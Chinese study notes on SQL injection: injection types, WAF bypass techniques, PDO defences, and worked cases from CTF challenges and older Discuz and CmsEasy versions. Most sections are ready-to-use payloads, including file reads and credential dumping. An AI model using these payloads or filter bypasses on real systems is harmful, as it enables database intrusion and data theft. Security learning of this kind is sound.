SQL注入笔记

SQL注入笔记

一、注入类型与利用

1.1 二次注入(Second-Order Injection)

核心原理 :数据存入时 经过转义(如addslashes),但取出使用时未再次过滤,导致注入。

典型场景

  • 留言板、评论系统(网鼎杯2018)
  • 地址修改功能(CyberPunk)
  • 旧数据回显(cmseasy的old_address)

Payload构造模式

sql 复制代码
-- 写入阶段(带转义存储)
',content=(select load_file("/flag")),/*

-- 取出后拼接到新SQL(转义符已消失)
insert into comment set category=' ',content=(select load_file("/flag")),/*', content='*/#'

关键利用点

  • addslashes()只在插入时转义,数据库中存储的是原始无转义数据
  • 当数据被读出并拼接到新SQL时,引号恢复原始状态,造成闭合

1.2 ORDER BY 注入

为什么不能用and 1=1:ORDER BY后接的是排序列,逻辑运算符无法直接使用。

布尔盲注

sql 复制代码
-- 利用if()函数
order by if((substr((select user()),1,1)='r'),username,password)
-- 条件为真时按username排序,为假时按password排序,页面显示顺序不同

时间盲注

sql 复制代码
-- 错误:会对每条记录执行sleep,造成DoS
order by if((substr((select user()),1,1)='r'),sleep(5),password)

-- 正确:子查询只执行一次
order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password)

报错注入

sql 复制代码
order by (extractvalue(1,concat(0x3a,version())),1)

1.3 LIMIT 注入

利用PROCEDURE ANALYSE

sql 复制代码
-- 报错注入
limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

-- 延时注入(使用BENCHMARK)
limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1)

1.4 FLOOR报错注入(经典双查询)

固定Payload

sql 复制代码
select count(*),floor(rand(0)*2) x from information_schema.tables group by x

深层原理

  1. MySQL建立虚拟表(key=分组键, count=计数器)
  2. 查询记录时,floor(rand(0)*2)执行一次(确定性序列:0,1,1,0,1,1)
  3. 若虚拟表不存在该键值,插入时再次计算rand
  4. 序列冲突导致主键重复报错

计算流程示例

复制代码
第1条:rand()=0(第1次),表无0,插入时rand()=1(第2次)→ 插入键值1
第2条:rand()=1(第3次),表有1,计数+1
第3条:rand()=0(第4次),表无0,插入时rand()=1(第5次)→ 键值1已存在,冲突报错!

关键要求

  • 必须使用固定种子rand(0)
  • 原表至少需要3条数据
  • 注入时将查询结果concat到报错信息中:
sql 复制代码
select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)as y

二、WAF绕过技术大全

2.1 空格绕过

方法 Payload示例
注释符 select/**/1
强制内联注释 /*!select*/1
TAB/换行 %09, %0a, %0b, %0c, %0d
括号 select(user())fromdualwhere(1=1)and(2=2)
反引号包裹 ``select*from`tb1```
浮点数 id=8E0union, id=8.0union, .1union

2.2 逗号绕过

JOIN代替UNION SELECT

sql 复制代码
-- 原句
union select 1,2,3
-- 绕过
union select * from (select 1)a join (select 2)b join (select 3)c

LIMIT OFFSET

sql 复制代码
-- 原句
limit 1,2
-- 绕过  
limit 1 offset 0

SUBSTR FROM FOR

sql 复制代码
-- 原句
substr(database(),1,1)
-- 绕过
substr(database()from 1 for 1)

CASE WHEN代替IF

sql 复制代码
-- 原句
if(1=1, 'A', 'B')
-- 绕过
case when 1=1 then 'A' else 'B' end

2.3 比较符号绕过(>,<,=)

替代函数 用法
greatest(n1,n2) 返回最大值,配合盲注
strcmp(str1,str2) 字符串比较,返回-1,0,1
in id in (1,2)
between and id between 1 and 2
like id like 1

盲注示例

sql 复制代码
-- 原句
ascii(substr(database(),1,1))>100
-- 绕过
strcmp(substr(database(),1,1),'d')>0

2.4 逻辑运算符

sql 复制代码
and = &&
or = ||
xor = |
not = !

2.5 关键字绕过(UNION/SELECT)

多层内联注释

sql 复制代码
/*!50000union*/ select
/**/UNION/**//*!50000SELECT*/
/*!%55NiOn*/ /*!%53eLEct*/

双写绕过(针对替换为空的情况):

sql 复制代码
UNIunionON
SELselectECT

编码绕过

sql 复制代码
-- URL编码
%55nion(%53elect)
-- 十六进制字符串(引号过滤时)
0x7573657273 代替 'users'

2.6 宽字节注入

原理 :GBK编码认为%df%5c是汉字,吃掉转义符\

Payload

sql 复制代码
id=-1%df%27union select 1,user(),3--+

前置条件

  • 数据库使用GBK编码
  • PHP使用addslashesmysql_real_escape_string
  • 未设置mysql_query("SET NAMES binary")

2.7 HTTP参数污染(HPP)

利用不同中间件解析差异

中间件 参数处理方式 结果
IIS 拼接 a=union&a=select → union,select
Apache/PHP 取最后一个 a=1&a=2 → 2
Nginx/PHP 取最后一个 a=1&a=2 → 2

IIS绕过示例

sql 复制代码
-- 原句
union select 1,2,3,4
-- 污染形式
inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4
-- 最终解析
union/*, */select/*, */1,2,3,4

三、防护机制与绕过

3.1 PDO预处理机制

模拟预处理(EMULATE_PREPARES=true)

  • PHP本地进行转义(mysql_real_escape_string
  • 单字节字符集环境下,多字节编码仍可能绕过(PHP<5.3.6)
  • 最终发送的是拼接后的SQL

真实预处理(EMULATE_PREPARES=false)

  • 分两次发送:Prepare模板 + Execute参数
  • 参数作为二进制数据传输,语法分离,彻底杜绝注入
  • 流程:
    1. Client → Server: PREPARE stmt FROM "SELECT * FROM users WHERE id=?"
    2. Client → Server: EXECUTE stmt USING @id(变量绑定)
php 复制代码
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
// DSN中必须指定charset
$pdo = new PDO("mysql:host=127.0.0.1;dbname=test;charset=utf8", "user", "pass");

3.2 针对转义函数的绕过

针对addslashes

  • 宽字节(GBK)
  • 整数型注入(无需引号)
  • JSON编码/解码(自动去除转义)
  • Base64解码
  • stripslashes二次反转义

针对GPC(magic_quotes_gpc)

  • PHP数组特性(Discuz 7.2):$row[0]取转义后字符串的第一个字符\,造成转义符逃逸

四、实战案例分析

4.1 网鼎杯2018 Comment(二次注入)

漏洞点write_do.php的comment功能

利用链

  1. 发帖时category写入:' ,content=user(),/*
  2. 转义后入库:' ,content=user(),/*(实际存储无转义)
  3. 评论时取出category拼入SQL:
sql 复制代码
insert into comment set category=' ',content=user(),/*', content='*/#', bo_id='1'
-- 实际执行:
-- category=' ',content=user()  
-- content字段被注释掉,/*开始的部分被注释,*/#结束注释

文件读取技巧

sql 复制代码
-- 直接读可能显示不全
content=(select load_file("/flag"))

-- 使用hex编码避免截断
content=(select hex(load_file("/flag")))

4.2 CISCN 2019 CyberPunk(条件竞争型二次注入)

业务逻辑

  • change.php更新address时,先将旧address存入old_address
  • 第一次修改:address设为' where user_id=updatexml(...)(被转义,安全)
  • 第二次修改:old_address(第一次未转义的payload)被拼入SQL

Payload

sql 复制代码
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

4.3 Discuz 7.2(转义符逃逸)

核心代码

php 复制代码
foreach($gids as $row) {
    $groupids[] = $row[0];  // 取数组元素的第一个字符
}

攻击步骤

  1. 提交gids[1]=' → 经GPC转义为gids[1]=\'
  2. $row[0]取第一个字符\(反斜杠)
  3. implodeids函数生成:'1','\','3','4'
  4. 第3个单引号被转义,第4个单引号与第2个闭合,中间内容逃逸:
sql 复制代码
u.groupid IN ('7','\',') and (select 1 from (select count(*),concat(...)x from information_schema.tables group by x)a)# ')

4.4 CmsEasy(加密反序列化注入)

利用链

  1. 未授权访问后台:X-Forwarded-For: 127.0.0.1 + ishtml=1
  2. 获取cookie密钥(安全码)
  3. 构造XXTEA加密+Base64的payload:
php 复制代码
$table = array(
    "userid`=-1 union select 1,concat(username,0x23,password),3,4... from cmseasy_user limit 0,1#" => 1
);
echo base64_encode(xxtea_encrypt(serialize($table), $key));
  1. 通过remotelogin_action反序列化触发注入
相关推荐
yufuu982 小时前
Python在金融科技(FinTech)中的应用
jvm·数据库·python
OnYoung2 小时前
持续集成/持续部署(CI/CD) for Python
jvm·数据库·python
2301_822377652 小时前
高级爬虫技巧:处理JavaScript渲染(Selenium)
jvm·数据库·python
菜菜小狗的学习笔记2 小时前
黑马程序员java web学习笔记--后端进阶(一)AOP
java·笔记·学习
u0109272712 小时前
用Python和Twilio构建短信通知系统
jvm·数据库·python
闻哥2 小时前
从 SQL 执行到优化器内核:MySQL 性能调优核心知识点解析
java·jvm·数据库·spring boot·sql·mysql·面试
鹿角片ljp2 小时前
动态SQL实现模糊查询
数据库·sql·oracle
晓风残月淡2 小时前
mysql备份恢复工具Percona XtraBackup使用教程
数据库·mysql
DomDanrtsey2 小时前
oracle所有表中文与字段最大长度检测
数据库·oracle